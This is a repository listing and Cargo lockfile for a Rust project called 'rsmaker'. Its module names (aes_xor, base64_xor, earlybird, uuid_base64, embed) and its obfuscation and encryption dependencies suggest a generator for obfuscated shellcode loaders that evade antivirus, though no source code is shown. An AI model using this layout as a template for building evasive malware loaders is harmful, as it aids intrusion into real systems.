├── .gitignore
├── Cargo.lock
├── Cargo.toml
├── README.md
├── images
├── .DS_Store
├── Jun-21-2022 20-09-46.gif
├── Jun-21-2022 20-25-47.gif
└── Jun-21-2022 20-26-46.gif
├── src
├── aes_xor
│ ├── aesxor.rs
│ └── mod.rs
├── base64_xor
│ ├── base64xor.rs
│ └── mod.rs
├── bird2
│ ├── bird2.rs
│ └── mod.rs
├── earlybird
│ ├── earlybird.rs
│ └── mod.rs
├── embed
│ ├── embed.rs
│ └── mod.rs
├── lib.rs
├── main.rs
└── uuid_base64
│ ├── mod.rs
│ └── uuidbase64.rs
└── temp
├── .DS_Store
├── aes
├── Cargo.toml
├── config.toml
├── head.rs
└── model.rs
├── base64xor
├── Cargo.toml
├── config.toml
├── head.rs
└── model.rs
├── bird2
├── Cargo.toml
├── config.toml
├── head.rs
└── model.rs
├── earlybird
├── Cargo.toml
├── config.toml
├── head.rs
└── model.rs
├── embed
├── .DS_Store
├── Cargo.toml
├── build.rs
├── config.toml
├── icon.rc
└── main.rs
└── uuid
├── Cargo.toml
├── config.toml
├── head.rs
└── model.rs
/.gitignore:
--------------------------------------------------------------------------------
1 | /target
2 |
--------------------------------------------------------------------------------
/Cargo.lock:
--------------------------------------------------------------------------------
1 | # This file is automatically @generated by Cargo.
2 | # It is not intended for manual editing.
3 | version = 3
4 |
5 | [[package]]
6 | name = "atty"
7 | version = "0.2.14"
8 | source = "registry+https://github.com/rust-lang/crates.io-index"
9 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
10 | dependencies = [
11 | "hermit-abi",
12 | "libc",
13 | "winapi",
14 | ]
15 |
16 | [[package]]
17 | name = "autocfg"
18 | version = "1.1.0"
19 | source = "registry+https://github.com/rust-lang/crates.io-index"
20 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
21 |
22 | [[package]]
23 | name = "base64"
24 | version = "0.13.0"
25 | source = "registry+https://github.com/rust-lang/crates.io-index"
26 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
27 |
28 | [[package]]
29 | name = "bitflags"
30 | version = "1.3.2"
31 | source = "registry+https://github.com/rust-lang/crates.io-index"
32 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
33 |
34 | [[package]]
35 | name = "block-buffer"
36 | version = "0.9.0"
37 | source = "registry+https://github.com/rust-lang/crates.io-index"
38 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4"
39 | dependencies = [
40 | "generic-array",
41 | ]
42 |
43 | [[package]]
44 | name = "bumpalo"
45 | version = "3.10.0"
46 | source = "registry+https://github.com/rust-lang/crates.io-index"
47 | checksum = "37ccbd214614c6783386c1af30caf03192f17891059cecc394b4fb119e363de3"
48 |
49 | [[package]]
50 | name = "bytes"
51 | version = "1.1.0"
52 | source = "registry+https://github.com/rust-lang/crates.io-index"
53 | checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8"
54 |
55 | [[package]]
56 | name = "cc"
57 | version = "1.0.73"
58 | source = "registry+https://github.com/rust-lang/crates.io-index"
59 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
60 |
61 | [[package]]
62 | name = "cfg-if"
63 | version = "1.0.0"
64 | source = "registry+https://github.com/rust-lang/crates.io-index"
65 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
66 |
67 | [[package]]
68 | name = "clap"
69 | version = "3.2.5"
70 | source = "registry+https://github.com/rust-lang/crates.io-index"
71 | checksum = "d53da17d37dba964b9b3ecb5c5a1f193a2762c700e6829201e645b9381c99dc7"
72 | dependencies = [
73 | "atty",
74 | "bitflags",
75 | "clap_lex",
76 | "indexmap",
77 | "strsim",
78 | "termcolor",
79 | "textwrap",
80 | ]
81 |
82 | [[package]]
83 | name = "clap_lex"
84 | version = "0.2.2"
85 | source = "registry+https://github.com/rust-lang/crates.io-index"
86 | checksum = "5538cd660450ebeb4234cfecf8f2284b844ffc4c50531e66d584ad5b91293613"
87 | dependencies = [
88 | "os_str_bytes",
89 | ]
90 |
91 | [[package]]
92 | name = "core-foundation"
93 | version = "0.9.3"
94 | source = "registry+https://github.com/rust-lang/crates.io-index"
95 | checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146"
96 | dependencies = [
97 | "core-foundation-sys",
98 | "libc",
99 | ]
100 |
101 | [[package]]
102 | name = "core-foundation-sys"
103 | version = "0.8.3"
104 | source = "registry+https://github.com/rust-lang/crates.io-index"
105 | checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc"
106 |
107 | [[package]]
108 | name = "cpufeatures"
109 | version = "0.2.2"
110 | source = "registry+https://github.com/rust-lang/crates.io-index"
111 | checksum = "59a6001667ab124aebae2a495118e11d30984c3a653e99d86d58971708cf5e4b"
112 | dependencies = [
113 | "libc",
114 | ]
115 |
116 | [[package]]
117 | name = "digest"
118 | version = "0.9.0"
119 | source = "registry+https://github.com/rust-lang/crates.io-index"
120 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066"
121 | dependencies = [
122 | "generic-array",
123 | ]
124 |
125 | [[package]]
126 | name = "encoding_rs"
127 | version = "0.8.31"
128 | source = "registry+https://github.com/rust-lang/crates.io-index"
129 | checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b"
130 | dependencies = [
131 | "cfg-if",
132 | ]
133 |
134 | [[package]]
135 | name = "fastrand"
136 | version = "1.7.0"
137 | source = "registry+https://github.com/rust-lang/crates.io-index"
138 | checksum = "c3fcf0cee53519c866c09b5de1f6c56ff9d647101f81c1964fa632e148896cdf"
139 | dependencies = [
140 | "instant",
141 | ]
142 |
143 | [[package]]
144 | name = "fnv"
145 | version = "1.0.7"
146 | source = "registry+https://github.com/rust-lang/crates.io-index"
147 | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
148 |
149 | [[package]]
150 | name = "foreign-types"
151 | version = "0.3.2"
152 | source = "registry+https://github.com/rust-lang/crates.io-index"
153 | checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
154 | dependencies = [
155 | "foreign-types-shared",
156 | ]
157 |
158 | [[package]]
159 | name = "foreign-types-shared"
160 | version = "0.1.1"
161 | source = "registry+https://github.com/rust-lang/crates.io-index"
162 | checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
163 |
164 | [[package]]
165 | name = "form_urlencoded"
166 | version = "1.0.1"
167 | source = "registry+https://github.com/rust-lang/crates.io-index"
168 | checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191"
169 | dependencies = [
170 | "matches",
171 | "percent-encoding",
172 | ]
173 |
174 | [[package]]
175 | name = "futures-channel"
176 | version = "0.3.21"
177 | source = "registry+https://github.com/rust-lang/crates.io-index"
178 | checksum = "c3083ce4b914124575708913bca19bfe887522d6e2e6d0952943f5eac4a74010"
179 | dependencies = [
180 | "futures-core",
181 | ]
182 |
183 | [[package]]
184 | name = "futures-core"
185 | version = "0.3.21"
186 | source = "registry+https://github.com/rust-lang/crates.io-index"
187 | checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3"
188 |
189 | [[package]]
190 | name = "futures-io"
191 | version = "0.3.21"
192 | source = "registry+https://github.com/rust-lang/crates.io-index"
193 | checksum = "fc4045962a5a5e935ee2fdedaa4e08284547402885ab326734432bed5d12966b"
194 |
195 | [[package]]
196 | name = "futures-sink"
197 | version = "0.3.21"
198 | source = "registry+https://github.com/rust-lang/crates.io-index"
199 | checksum = "21163e139fa306126e6eedaf49ecdb4588f939600f0b1e770f4205ee4b7fa868"
200 |
201 | [[package]]
202 | name = "futures-task"
203 | version = "0.3.21"
204 | source = "registry+https://github.com/rust-lang/crates.io-index"
205 | checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a"
206 |
207 | [[package]]
208 | name = "futures-util"
209 | version = "0.3.21"
210 | source = "registry+https://github.com/rust-lang/crates.io-index"
211 | checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a"
212 | dependencies = [
213 | "futures-core",
214 | "futures-io",
215 | "futures-task",
216 | "memchr",
217 | "pin-project-lite",
218 | "pin-utils",
219 | "slab",
220 | ]
221 |
222 | [[package]]
223 | name = "generic-array"
224 | version = "0.14.5"
225 | source = "registry+https://github.com/rust-lang/crates.io-index"
226 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803"
227 | dependencies = [
228 | "typenum",
229 | "version_check",
230 | ]
231 |
232 | [[package]]
233 | name = "getrandom"
234 | version = "0.2.6"
235 | source = "registry+https://github.com/rust-lang/crates.io-index"
236 | checksum = "9be70c98951c83b8d2f8f60d7065fa6d5146873094452a1008da8c2f1e4205ad"
237 | dependencies = [
238 | "cfg-if",
239 | "libc",
240 | "wasi 0.10.2+wasi-snapshot-preview1",
241 | ]
242 |
243 | [[package]]
244 | name = "h2"
245 | version = "0.3.13"
246 | source = "registry+https://github.com/rust-lang/crates.io-index"
247 | checksum = "37a82c6d637fc9515a4694bbf1cb2457b79d81ce52b3108bdeea58b07dd34a57"
248 | dependencies = [
249 | "bytes",
250 | "fnv",
251 | "futures-core",
252 | "futures-sink",
253 | "futures-util",
254 | "http",
255 | "indexmap",
256 | "slab",
257 | "tokio",
258 | "tokio-util",
259 | "tracing",
260 | ]
261 |
262 | [[package]]
263 | name = "hashbrown"
264 | version = "0.12.1"
265 | source = "registry+https://github.com/rust-lang/crates.io-index"
266 | checksum = "db0d4cf898abf0081f964436dc980e96670a0f36863e4b83aaacdb65c9d7ccc3"
267 |
268 | [[package]]
269 | name = "hermit-abi"
270 | version = "0.1.19"
271 | source = "registry+https://github.com/rust-lang/crates.io-index"
272 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
273 | dependencies = [
274 | "libc",
275 | ]
276 |
277 | [[package]]
278 | name = "http"
279 | version = "0.2.8"
280 | source = "registry+https://github.com/rust-lang/crates.io-index"
281 | checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399"
282 | dependencies = [
283 | "bytes",
284 | "fnv",
285 | "itoa",
286 | ]
287 |
288 | [[package]]
289 | name = "http-body"
290 | version = "0.4.5"
291 | source = "registry+https://github.com/rust-lang/crates.io-index"
292 | checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1"
293 | dependencies = [
294 | "bytes",
295 | "http",
296 | "pin-project-lite",
297 | ]
298 |
299 | [[package]]
300 | name = "httparse"
301 | version = "1.7.1"
302 | source = "registry+https://github.com/rust-lang/crates.io-index"
303 | checksum = "496ce29bb5a52785b44e0f7ca2847ae0bb839c9bd28f69acac9b99d461c0c04c"
304 |
305 | [[package]]
306 | name = "httpdate"
307 | version = "1.0.2"
308 | source = "registry+https://github.com/rust-lang/crates.io-index"
309 | checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421"
310 |
311 | [[package]]
312 | name = "hyper"
313 | version = "0.14.20"
314 | source = "registry+https://github.com/rust-lang/crates.io-index"
315 | checksum = "02c929dc5c39e335a03c405292728118860721b10190d98c2a0f0efd5baafbac"
316 | dependencies = [
317 | "bytes",
318 | "futures-channel",
319 | "futures-core",
320 | "futures-util",
321 | "h2",
322 | "http",
323 | "http-body",
324 | "httparse",
325 | "httpdate",
326 | "itoa",
327 | "pin-project-lite",
328 | "socket2",
329 | "tokio",
330 | "tower-service",
331 | "tracing",
332 | "want",
333 | ]
334 |
335 | [[package]]
336 | name = "hyper-tls"
337 | version = "0.5.0"
338 | source = "registry+https://github.com/rust-lang/crates.io-index"
339 | checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905"
340 | dependencies = [
341 | "bytes",
342 | "hyper",
343 | "native-tls",
344 | "tokio",
345 | "tokio-native-tls",
346 | ]
347 |
348 | [[package]]
349 | name = "idna"
350 | version = "0.2.3"
351 | source = "registry+https://github.com/rust-lang/crates.io-index"
352 | checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8"
353 | dependencies = [
354 | "matches",
355 | "unicode-bidi",
356 | "unicode-normalization",
357 | ]
358 |
359 | [[package]]
360 | name = "indexmap"
361 | version = "1.9.0"
362 | source = "registry+https://github.com/rust-lang/crates.io-index"
363 | checksum = "6c6392766afd7964e2531940894cffe4bd8d7d17dbc3c1c4857040fd4b33bdb3"
364 | dependencies = [
365 | "autocfg",
366 | "hashbrown",
367 | ]
368 |
369 | [[package]]
370 | name = "instant"
371 | version = "0.1.12"
372 | source = "registry+https://github.com/rust-lang/crates.io-index"
373 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
374 | dependencies = [
375 | "cfg-if",
376 | ]
377 |
378 | [[package]]
379 | name = "ipnet"
380 | version = "2.5.0"
381 | source = "registry+https://github.com/rust-lang/crates.io-index"
382 | checksum = "879d54834c8c76457ef4293a689b2a8c59b076067ad77b15efafbb05f92a592b"
383 |
384 | [[package]]
385 | name = "itoa"
386 | version = "1.0.2"
387 | source = "registry+https://github.com/rust-lang/crates.io-index"
388 | checksum = "112c678d4050afce233f4f2852bb2eb519230b3cf12f33585275537d7e41578d"
389 |
390 | [[package]]
391 | name = "js-sys"
392 | version = "0.3.57"
393 | source = "registry+https://github.com/rust-lang/crates.io-index"
394 | checksum = "671a26f820db17c2a2750743f1dd03bafd15b98c9f30c7c2628c024c05d73397"
395 | dependencies = [
396 | "wasm-bindgen",
397 | ]
398 |
399 | [[package]]
400 | name = "lazy_static"
401 | version = "1.4.0"
402 | source = "registry+https://github.com/rust-lang/crates.io-index"
403 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
404 |
405 | [[package]]
406 | name = "libaes"
407 | version = "0.6.2"
408 | source = "registry+https://github.com/rust-lang/crates.io-index"
409 | checksum = "db7c463b5db4448022fb5829e269bf3a0dd0da21ac18e8e03bf2c5a6e53cc2b8"
410 |
411 | [[package]]
412 | name = "libc"
413 | version = "0.2.126"
414 | source = "registry+https://github.com/rust-lang/crates.io-index"
415 | checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836"
416 |
417 | [[package]]
418 | name = "log"
419 | version = "0.4.17"
420 | source = "registry+https://github.com/rust-lang/crates.io-index"
421 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
422 | dependencies = [
423 | "cfg-if",
424 | ]
425 |
426 | [[package]]
427 | name = "matches"
428 | version = "0.1.9"
429 | source = "registry+https://github.com/rust-lang/crates.io-index"
430 | checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f"
431 |
432 | [[package]]
433 | name = "memchr"
434 | version = "2.5.0"
435 | source = "registry+https://github.com/rust-lang/crates.io-index"
436 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
437 |
438 | [[package]]
439 | name = "mime"
440 | version = "0.3.16"
441 | source = "registry+https://github.com/rust-lang/crates.io-index"
442 | checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d"
443 |
444 | [[package]]
445 | name = "mio"
446 | version = "0.8.4"
447 | source = "registry+https://github.com/rust-lang/crates.io-index"
448 | checksum = "57ee1c23c7c63b0c9250c339ffdc69255f110b298b901b9f6c82547b7b87caaf"
449 | dependencies = [
450 | "libc",
451 | "log",
452 | "wasi 0.11.0+wasi-snapshot-preview1",
453 | "windows-sys",
454 | ]
455 |
456 | [[package]]
457 | name = "native-tls"
458 | version = "0.2.10"
459 | source = "registry+https://github.com/rust-lang/crates.io-index"
460 | checksum = "fd7e2f3618557f980e0b17e8856252eee3c97fa12c54dff0ca290fb6266ca4a9"
461 | dependencies = [
462 | "lazy_static",
463 | "libc",
464 | "log",
465 | "openssl",
466 | "openssl-probe",
467 | "openssl-sys",
468 | "schannel",
469 | "security-framework",
470 | "security-framework-sys",
471 | "tempfile",
472 | ]
473 |
474 | [[package]]
475 | name = "num_cpus"
476 | version = "1.13.1"
477 | source = "registry+https://github.com/rust-lang/crates.io-index"
478 | checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1"
479 | dependencies = [
480 | "hermit-abi",
481 | "libc",
482 | ]
483 |
484 | [[package]]
485 | name = "obfstr"
486 | version = "0.3.0"
487 | source = "registry+https://github.com/rust-lang/crates.io-index"
488 | checksum = "7b2b2cbbfd8defa51ff24450a61d73b3ff3e158484ddd274a883e886e6fbaa78"
489 |
490 | [[package]]
491 | name = "once_cell"
492 | version = "1.13.0"
493 | source = "registry+https://github.com/rust-lang/crates.io-index"
494 | checksum = "18a6dbe30758c9f83eb00cbea4ac95966305f5a7772f3f42ebfc7fc7eddbd8e1"
495 |
496 | [[package]]
497 | name = "opaque-debug"
498 | version = "0.3.0"
499 | source = "registry+https://github.com/rust-lang/crates.io-index"
500 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
501 |
502 | [[package]]
503 | name = "openssl"
504 | version = "0.10.41"
505 | source = "registry+https://github.com/rust-lang/crates.io-index"
506 | checksum = "618febf65336490dfcf20b73f885f5651a0c89c64c2d4a8c3662585a70bf5bd0"
507 | dependencies = [
508 | "bitflags",
509 | "cfg-if",
510 | "foreign-types",
511 | "libc",
512 | "once_cell",
513 | "openssl-macros",
514 | "openssl-sys",
515 | ]
516 |
517 | [[package]]
518 | name = "openssl-macros"
519 | version = "0.1.0"
520 | source = "registry+https://github.com/rust-lang/crates.io-index"
521 | checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c"
522 | dependencies = [
523 | "proc-macro2",
524 | "quote",
525 | "syn",
526 | ]
527 |
528 | [[package]]
529 | name = "openssl-probe"
530 | version = "0.1.5"
531 | source = "registry+https://github.com/rust-lang/crates.io-index"
532 | checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
533 |
534 | [[package]]
535 | name = "openssl-sys"
536 | version = "0.9.75"
537 | source = "registry+https://github.com/rust-lang/crates.io-index"
538 | checksum = "e5f9bd0c2710541a3cda73d6f9ac4f1b240de4ae261065d309dbe73d9dceb42f"
539 | dependencies = [
540 | "autocfg",
541 | "cc",
542 | "libc",
543 | "pkg-config",
544 | "vcpkg",
545 | ]
546 |
547 | [[package]]
548 | name = "os_str_bytes"
549 | version = "6.1.0"
550 | source = "registry+https://github.com/rust-lang/crates.io-index"
551 | checksum = "21326818e99cfe6ce1e524c2a805c189a99b5ae555a35d19f9a284b427d86afa"
552 |
553 | [[package]]
554 | name = "percent-encoding"
555 | version = "2.1.0"
556 | source = "registry+https://github.com/rust-lang/crates.io-index"
557 | checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e"
558 |
559 | [[package]]
560 | name = "pin-project-lite"
561 | version = "0.2.9"
562 | source = "registry+https://github.com/rust-lang/crates.io-index"
563 | checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116"
564 |
565 | [[package]]
566 | name = "pin-utils"
567 | version = "0.1.0"
568 | source = "registry+https://github.com/rust-lang/crates.io-index"
569 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
570 |
571 | [[package]]
572 | name = "pkg-config"
573 | version = "0.3.25"
574 | source = "registry+https://github.com/rust-lang/crates.io-index"
575 | checksum = "1df8c4ec4b0627e53bdf214615ad287367e482558cf84b109250b37464dc03ae"
576 |
577 | [[package]]
578 | name = "ppv-lite86"
579 | version = "0.2.16"
580 | source = "registry+https://github.com/rust-lang/crates.io-index"
581 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
582 |
583 | [[package]]
584 | name = "proc-macro2"
585 | version = "1.0.39"
586 | source = "registry+https://github.com/rust-lang/crates.io-index"
587 | checksum = "c54b25569025b7fc9651de43004ae593a75ad88543b17178aa5e1b9c4f15f56f"
588 | dependencies = [
589 | "unicode-ident",
590 | ]
591 |
592 | [[package]]
593 | name = "quote"
594 | version = "1.0.18"
595 | source = "registry+https://github.com/rust-lang/crates.io-index"
596 | checksum = "a1feb54ed693b93a84e14094943b84b7c4eae204c512b7ccb95ab0c66d278ad1"
597 | dependencies = [
598 | "proc-macro2",
599 | ]
600 |
601 | [[package]]
602 | name = "rand"
603 | version = "0.8.5"
604 | source = "registry+https://github.com/rust-lang/crates.io-index"
605 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
606 | dependencies = [
607 | "libc",
608 | "rand_chacha",
609 | "rand_core",
610 | ]
611 |
612 | [[package]]
613 | name = "rand_chacha"
614 | version = "0.3.1"
615 | source = "registry+https://github.com/rust-lang/crates.io-index"
616 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
617 | dependencies = [
618 | "ppv-lite86",
619 | "rand_core",
620 | ]
621 |
622 | [[package]]
623 | name = "rand_core"
624 | version = "0.6.3"
625 | source = "registry+https://github.com/rust-lang/crates.io-index"
626 | checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7"
627 | dependencies = [
628 | "getrandom",
629 | ]
630 |
631 | [[package]]
632 | name = "redox_syscall"
633 | version = "0.2.13"
634 | source = "registry+https://github.com/rust-lang/crates.io-index"
635 | checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42"
636 | dependencies = [
637 | "bitflags",
638 | ]
639 |
640 | [[package]]
641 | name = "remove_dir_all"
642 | version = "0.5.3"
643 | source = "registry+https://github.com/rust-lang/crates.io-index"
644 | checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
645 | dependencies = [
646 | "winapi",
647 | ]
648 |
649 | [[package]]
650 | name = "reqwest"
651 | version = "0.11.11"
652 | source = "registry+https://github.com/rust-lang/crates.io-index"
653 | checksum = "b75aa69a3f06bbcc66ede33af2af253c6f7a86b1ca0033f60c580a27074fbf92"
654 | dependencies = [
655 | "base64",
656 | "bytes",
657 | "encoding_rs",
658 | "futures-core",
659 | "futures-util",
660 | "h2",
661 | "http",
662 | "http-body",
663 | "hyper",
664 | "hyper-tls",
665 | "ipnet",
666 | "js-sys",
667 | "lazy_static",
668 | "log",
669 | "mime",
670 | "native-tls",
671 | "percent-encoding",
672 | "pin-project-lite",
673 | "serde",
674 | "serde_json",
675 | "serde_urlencoded",
676 | "tokio",
677 | "tokio-native-tls",
678 | "tower-service",
679 | "url",
680 | "wasm-bindgen",
681 | "wasm-bindgen-futures",
682 | "web-sys",
683 | "winreg",
684 | ]
685 |
686 | [[package]]
687 | name = "rsmaker"
688 | version = "0.1.0"
689 | dependencies = [
690 | "base64",
691 | "clap",
692 | "libaes",
693 | "obfstr",
694 | "rand",
695 | "reqwest",
696 | "rust-embed",
697 | "uuid",
698 | "whoami",
699 | ]
700 |
701 | [[package]]
702 | name = "rust-embed"
703 | version = "6.4.0"
704 | source = "registry+https://github.com/rust-lang/crates.io-index"
705 | checksum = "9a17e5ac65b318f397182ae94e532da0ba56b88dd1200b774715d36c4943b1c3"
706 | dependencies = [
707 | "rust-embed-impl",
708 | "rust-embed-utils",
709 | "walkdir",
710 | ]
711 |
712 | [[package]]
713 | name = "rust-embed-impl"
714 | version = "6.2.0"
715 | source = "registry+https://github.com/rust-lang/crates.io-index"
716 | checksum = "94e763e24ba2bf0c72bc6be883f967f794a019fafd1b86ba1daff9c91a7edd30"
717 | dependencies = [
718 | "proc-macro2",
719 | "quote",
720 | "rust-embed-utils",
721 | "syn",
722 | "walkdir",
723 | ]
724 |
725 | [[package]]
726 | name = "rust-embed-utils"
727 | version = "7.2.0"
728 | source = "registry+https://github.com/rust-lang/crates.io-index"
729 | checksum = "756feca3afcbb1487a1d01f4ecd94cf8ec98ea074c55a69e7136d29fb6166029"
730 | dependencies = [
731 | "sha2",
732 | "walkdir",
733 | ]
734 |
735 | [[package]]
736 | name = "ryu"
737 | version = "1.0.10"
738 | source = "registry+https://github.com/rust-lang/crates.io-index"
739 | checksum = "f3f6f92acf49d1b98f7a81226834412ada05458b7364277387724a237f062695"
740 |
741 | [[package]]
742 | name = "same-file"
743 | version = "1.0.6"
744 | source = "registry+https://github.com/rust-lang/crates.io-index"
745 | checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
746 | dependencies = [
747 | "winapi-util",
748 | ]
749 |
750 | [[package]]
751 | name = "schannel"
752 | version = "0.1.20"
753 | source = "registry+https://github.com/rust-lang/crates.io-index"
754 | checksum = "88d6731146462ea25d9244b2ed5fd1d716d25c52e4d54aa4fb0f3c4e9854dbe2"
755 | dependencies = [
756 | "lazy_static",
757 | "windows-sys",
758 | ]
759 |
760 | [[package]]
761 | name = "security-framework"
762 | version = "2.6.1"
763 | source = "registry+https://github.com/rust-lang/crates.io-index"
764 | checksum = "2dc14f172faf8a0194a3aded622712b0de276821addc574fa54fc0a1167e10dc"
765 | dependencies = [
766 | "bitflags",
767 | "core-foundation",
768 | "core-foundation-sys",
769 | "libc",
770 | "security-framework-sys",
771 | ]
772 |
773 | [[package]]
774 | name = "security-framework-sys"
775 | version = "2.6.1"
776 | source = "registry+https://github.com/rust-lang/crates.io-index"
777 | checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556"
778 | dependencies = [
779 | "core-foundation-sys",
780 | "libc",
781 | ]
782 |
783 | [[package]]
784 | name = "serde"
785 | version = "1.0.139"
786 | source = "registry+https://github.com/rust-lang/crates.io-index"
787 | checksum = "0171ebb889e45aa68b44aee0859b3eede84c6f5f5c228e6f140c0b2a0a46cad6"
788 |
789 | [[package]]
790 | name = "serde_json"
791 | version = "1.0.82"
792 | source = "registry+https://github.com/rust-lang/crates.io-index"
793 | checksum = "82c2c1fdcd807d1098552c5b9a36e425e42e9fbd7c6a37a8425f390f781f7fa7"
794 | dependencies = [
795 | "itoa",
796 | "ryu",
797 | "serde",
798 | ]
799 |
800 | [[package]]
801 | name = "serde_urlencoded"
802 | version = "0.7.1"
803 | source = "registry+https://github.com/rust-lang/crates.io-index"
804 | checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
805 | dependencies = [
806 | "form_urlencoded",
807 | "itoa",
808 | "ryu",
809 | "serde",
810 | ]
811 |
812 | [[package]]
813 | name = "sha1_smol"
814 | version = "1.0.0"
815 | source = "registry+https://github.com/rust-lang/crates.io-index"
816 | checksum = "ae1a47186c03a32177042e55dbc5fd5aee900b8e0069a8d70fba96a9375cd012"
817 |
818 | [[package]]
819 | name = "sha2"
820 | version = "0.9.9"
821 | source = "registry+https://github.com/rust-lang/crates.io-index"
822 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800"
823 | dependencies = [
824 | "block-buffer",
825 | "cfg-if",
826 | "cpufeatures",
827 | "digest",
828 | "opaque-debug",
829 | ]
830 |
831 | [[package]]
832 | name = "slab"
833 | version = "0.4.6"
834 | source = "registry+https://github.com/rust-lang/crates.io-index"
835 | checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32"
836 |
837 | [[package]]
838 | name = "socket2"
839 | version = "0.4.4"
840 | source = "registry+https://github.com/rust-lang/crates.io-index"
841 | checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0"
842 | dependencies = [
843 | "libc",
844 | "winapi",
845 | ]
846 |
847 | [[package]]
848 | name = "strsim"
849 | version = "0.10.0"
850 | source = "registry+https://github.com/rust-lang/crates.io-index"
851 | checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
852 |
853 | [[package]]
854 | name = "syn"
855 | version = "1.0.95"
856 | source = "registry+https://github.com/rust-lang/crates.io-index"
857 | checksum = "fbaf6116ab8924f39d52792136fb74fd60a80194cf1b1c6ffa6453eef1c3f942"
858 | dependencies = [
859 | "proc-macro2",
860 | "quote",
861 | "unicode-ident",
862 | ]
863 |
864 | [[package]]
865 | name = "tempfile"
866 | version = "3.3.0"
867 | source = "registry+https://github.com/rust-lang/crates.io-index"
868 | checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4"
869 | dependencies = [
870 | "cfg-if",
871 | "fastrand",
872 | "libc",
873 | "redox_syscall",
874 | "remove_dir_all",
875 | "winapi",
876 | ]
877 |
878 | [[package]]
879 | name = "termcolor"
880 | version = "1.1.3"
881 | source = "registry+https://github.com/rust-lang/crates.io-index"
882 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755"
883 | dependencies = [
884 | "winapi-util",
885 | ]
886 |
887 | [[package]]
888 | name = "textwrap"
889 | version = "0.15.0"
890 | source = "registry+https://github.com/rust-lang/crates.io-index"
891 | checksum = "b1141d4d61095b28419e22cb0bbf02755f5e54e0526f97f1e3d1d160e60885fb"
892 |
